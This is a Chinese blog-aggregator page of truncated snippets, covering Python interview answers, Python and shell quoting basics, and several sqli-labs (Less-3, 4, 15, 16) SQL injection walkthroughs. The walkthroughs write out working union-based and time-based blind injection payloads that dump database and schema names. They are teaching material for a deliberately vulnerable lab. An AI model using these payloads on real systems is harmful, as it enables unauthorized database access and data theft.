引号

16道Python经典面试题及答案

孤人 提交于 2019-11-27 04:44:20
1.Python是如何进行内存管理的? 答:从三个方面来说,一对象的引用计数机制,二垃圾回收机制,三内存池机制 一、对象的引用计数机制 Python内部使用引用计数,来保持追踪内存中的对象,所有对象都有引用计数。 引用计数增加的情况: 1,一个对象分配一个新名称 2,将其放入一个容器中(如列表、元组或字典) 引用计数减少的情况: 1,使用del语句对对象别名显示的销毁 2,引用超出作用域或被重新赋值 sys.getrefcount( )函数可以获得对象的当前引用计数 多数情况下,引用计数比你猜测得要大得多。对于不可变数据(如数字和字符串),解释器会在程序的不同部分共享内存,以便节约内存。 二、垃圾回收 1,当一个对象的引用计数归零时,它将被垃圾收集机制处理掉。 2,当两个对象a和b相互引用时,del语句可以减少a和b的引用计数,并销毁用于引用底层对象的名称。然而由于每个对象都包含一个对其他对象的应用,因此引用计数不会归零,对象也不会销毁。(从而导致内存泄露)。为解决这一问题,解释器会定期执行一个循环检测器,搜索不可访问对象的循环并删除它们。 三、内存池机制 Python提供了对内存的垃圾收集机制,但是它将不用的内存放到内存池而不是返回给操作系统。 1,Pymalloc机制。为了加速Python的执行效率,Python引入了一个内存池机制,用于管理对小块内存的申请和释放。 2

④sqlilabs的less-3和less-4

我只是一个虾纸丫 提交于 2019-11-27 03:25:42
less-3和less-4都是基于字符型的SQL注入,具体判断方法是使用模糊测试,即在注入过程,输入一些特殊意义的参数等,并尝让应用程序报错,根据报错的信息来进行SQL注入。 其中,输入的任意字符包括单引号(’),双引号(”),反斜线(\),正括号((),反括号())等。 接下来,我们以less-3为例,完成一次基于字符型的SQL注入(less-4的方法一样)。 less-3 原始页面如下: 在原始URL后面输入单引号,显示页面如下: 页面报错信息如下: ou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' 1 '' ) LIMIT 0 , 1 ' at line 1 推测此时后台数据库的SQL查询语句如下: select ... from ... where id = ( '1' ') limit 0,1; 为了确认我们的判断,在原始URL后面添加两个单引号(”),得到页面如下: 所以,我们可以确定后天数据库的SQL查询语句为: select ... from ... where id = ( '$id' ) limit 0 , 1 ; 那么,在SQL注入过程中

LESS-3和LESS-4(sql注入)

夙愿已清 提交于 2019-11-27 03:25:08
LESS-3 源码: 1、输入?Id=1’后出现错误 错误提示为”2”)LIMIT 0,1’.去掉前后两个单引号,和自己输入的一个单引号后还有两个单引号和一个括号,可推出sql注入中的由单引号和括号和起来的闭合模式。 2、输入: http://127.0.0.1/sqlilabs/Less-3/?id=2’ )–+ url编码后: http://127.0.0.1/sqlilabs/Less-3/?id=2' )–+ 3、输入: http://127.0.0.1/sqlilabs/Less-3/?id=2’ ) order by 3 --+ URL编码后: http://127.0.0.1/sqlilabs/Less-3/?id=2' )%20%20order%20by%203–+ 4.查询数据库名 127.0.0.1/sqlilabs/Less-3/?id=-2’) union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+ URL编码后: http://127.0.0.1/sqlilabs/Less-3/?id=-2’ )%20union%20select%201,(select%20group_concat(schema_name)%20from

sqli-labs less-15 & less-16

你离开我真会死。 提交于 2019-11-27 03:23:13
POST-Blind-Boolian/time Based-Single quotes (基于bool/时间的单引号POST型盲注) Less-15 POST-Blind-Boolian/Time Based-Double quotes ( 基于bool/时间的双引号POST型盲注) Less-16 我们可以看到随便输入用户名和密码不会有任何返回 试过很多发现,无论是随便乱输密码,还是常用的管理员密码,都不会返回任何提示或报错信息,而且源代码中也没有报错提示信息,那只能进行猜测了。 盲注也可以用脚本进行注入,这里先不做介绍。 有了前面的基础,我们构造sql注入语句,那么我们就需要闭合单引号,注释掉后面的语句。 因为没有报错提示,我们只能用时间的延迟来判断 admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))# 作为用户名注入 我们可以看到立刻返回,那我们修改用户名里的参数内容,将ASCII码改为<115,这时我们会发现出现大约5秒的时延,这就是我们想要的结果。 ------------------------------------------------------------------------------------------------------------------------ ----------

python基础(基础)

自古美人都是妖i 提交于 2019-11-27 00:00:22
Python 基础: 认知: QTP、selenium录制脚本;jmeter可以实现简单的自动化。 python可以实现工具不带的脚本,从互联网上获取数据。 可以实现的功能:后台开发、自动化运维、人工智能、自动化测试、嵌入式开发(树莓派)。 第三方库最多的语言,pip源所有python的脚本都会存在这里。 # 所有编程语言 计算机只认识二进制,需要把写的东西,翻译给计算机 编译器 #1、编译型语言 #运行代码之前,必须经过编译 #一次编译,多次运行,优点速度快,确定编译时间长。 如:C、C++ #2、解释型语言 #运行的时候才编译,代码执行一行编译一行 如:php、ruby、python、java等。。。 1. 创建项目: 脚本执行: #print是输出,打印hello,word!print("hello,word!")#定义变量。变量,就是用来存东西的。#定义ip为变量,值为118.24.3.40;没有''才是变量,如果加上''就是字符串了,变量不能使用数字开头的ip ='118.24.3.40'#单引号和双引号没区别,如果是字符串内本身存在单引号,则需要用双引号,如"let's go!" 就的用双引号,如果内容是双引号,外面就用单引号。name='关老爷'#如果又有双引号又有单引号,那就用3个引号words3=''''关老爷',"真磕碜"'''#'''内容'''可以注释多行''

注入漏洞小总结

感情迁移 提交于 2019-11-26 22:42:37
注入漏洞 注入漏洞是对于解释性语言,用户与服务器交互式可以输入语句,成为程序执行的一部分 一sql的基本语句 增:insert into 表名(列名) values(值) 删:delete from 表名 where 条件 改:update 表名 set 列名=新列名 where 条件 查:select 列名 from 表名 where 条件 二mysql的基本知识 1、5.x的版本存在一个数据库information_schema,存储数据库的原信息。在schemata存数据库名,在table存数据库名和表名,在columns存数据库名表名和字段名。 2、mysql注释:#或--空格或 /** / 。还有内联注释/* * / 只有mysql可以识别,利用此借以绕过防火墙 3、常用函数: user()查看当前mysql登录用户名 database()查看当前使用mysql数据库名 version()产看当前mysql版本 三sql注入类型 1、基于报错的注入 id值一般闭合:id=1 id='1' id=('1') id=("1") 加‘ 进行判断,根据报错信息,进行闭合,并将之后的字符串注释掉,有双引号时无报错,用\进行转义看报错信息。 一般利用步骤: (1)利用order by判断字段数 (2)利用union select 联合查询,获取表名 0‘ union select 1

Shell基础学习(二) Shell变量

回眸只為那壹抹淺笑 提交于 2019-11-26 22:32:13
1、数据类型:   字符串   数组 2、变量的命名规范: 只能以a-z或A-Z开头   中间不能有空格,可以使用_   不能使用标点符号   不能使用shell的关键字 3、变量类型:   环境变量   局部变量   shell变量 4、字符串   字符串是shell编程中最常用最有用的数据类型(除了数字和字符串,也没啥其它类型好用了),字符串可以用单引号,也可以用双引号,也可以不用引号。单双引号的区别跟PHP类似。   单引号:     完全按引号中的内容输出,内部变量无效,转义字符也无效   双引号:     可以解析内部变量,可以出现转义字符   拼接字符     name='liupf'     echo "Hello "$name     echo "Hello ${name}"   获取字符串长度     name="liupf"     echo ${#name}   截取字符串     $name='liupf'     echo ${name:1:3}   查找子字符串位置     string=My name is liupf     echo `expr index "$string" is` 数组   1、Shell中用()表示数组,元素用空格隔开。基本形式表示为:     a、数组名=(值0 值1 值2 ··· 值n)     b、数组名=(      

修改样式—操作css方法

半世苍凉 提交于 2019-11-26 20:27:40
    1.参数只写属性名,则返回属性值       $(this).css( ' color '); //300px     2.参数是属性名,属性值,逗号分隔,是设置一组样式,属性必须加引号,值如果是数字可以不用跟单位和引号       $(this).css(" color "," red ") ; //设置当前元素的字体颜色是红色     3.参数可以是对象形式,方便设置多组样式,属性名和属性值用冒号隔开,属性可以不加引号,如果是复合属性必须采用驼峰法命名:       $(this).css({         color : " red ",         width : "300px",         backgroundColor : " pink " //复合属性采用驼峰法命名       }) 来源: https://www.cnblogs.com/qtbb/p/11332681.html

cmd命令行带参启动程序

独自空忆成欢 提交于 2019-11-26 20:22:29
cmd命令行带参启动程序 有一些程序不支持被直接启动,编写代码时,我们可以通过Process类来启动某个进程(某个软件),在不用代码调从而启动某个软件时,windows系统下,通常我们会用到cmd命令行来启动。本文将介绍 cmd常见的命令行启动参数。 1.cmd帮助    Win+R 快捷打开运行窗口,输入cmd确定打开cmd.exe程序。    cmd帮助 :打开 cmd窗口中输入:cmd /?,回车。即可看到相应指令的含义。 2.cmd启动参数   使用cmd来启动某个应用程序,并向应用程序传入参数:   下面的指令将使用cmd 间接启动 E盘下的ExportBatchTool.exe程序,并给ExportBatchTool .exe 程序传入C:\190627.whd的启动参数:    cmd /C E:\ExportBatchTool.exe C:\190627.whd   /c 在执行完程序之后,cmd也会终止。   命令: cmd /K E:\ExportBatchTool.exe C:\190627.whd 同样会启动ExportBatchTool.exe程序并传递C:\190627.whd参数。   但是,/k 在执行完程序之后,cmd.exe 依然会继续运行,所以 /c 命令会更适用于自动化的脚本,而 /k命令则更适用于半自动化的脚本。   Cmd窗口下,直接输入

sed和awk中使用shell变量【转】

我与影子孤独终老i 提交于 2019-11-26 18:33:15
原文:http://blog.chinaunix.net/uid-7396950-id-2056484.html 最近做预料处理,使用bash脚本,需要在脚本的sed和awk使用shell变量以控制循环,出现一些问题后找到解决办法如下: 1.sed使用shell变量 这个比较好办,sed命令中可以用单引号和双引号,一般我们习惯用单引号,如下: sed -i 's/pattern1/pattern2/g' inputfile 如果要使用shell变量,就需要使用双引号 pattern1=XXX pattern2=XXX sed -i "s/$pattern1/$pattern2/g" inputfile 2. awk使用shell变量 有很多种方法,最简单的一种记录如下: line=XXX awk '$1=="'$line'"{print $0}' inputfile 注意的是,awk命令本身需要将模式和动作部分用单引号引用,所以里面引用shell变量是双引号+单引号,双引号是保证正确处理变量值的空格,放大一下: "'$line'" 另外: awk '$1="win"{$"'$curcls'"=$"'$curcls'"+1;print $0}' nwf 则是另一种间接引用模式,因为通常shell的间接引用是使用 eval echo \$$var 更高级的 a=10 b=a c=${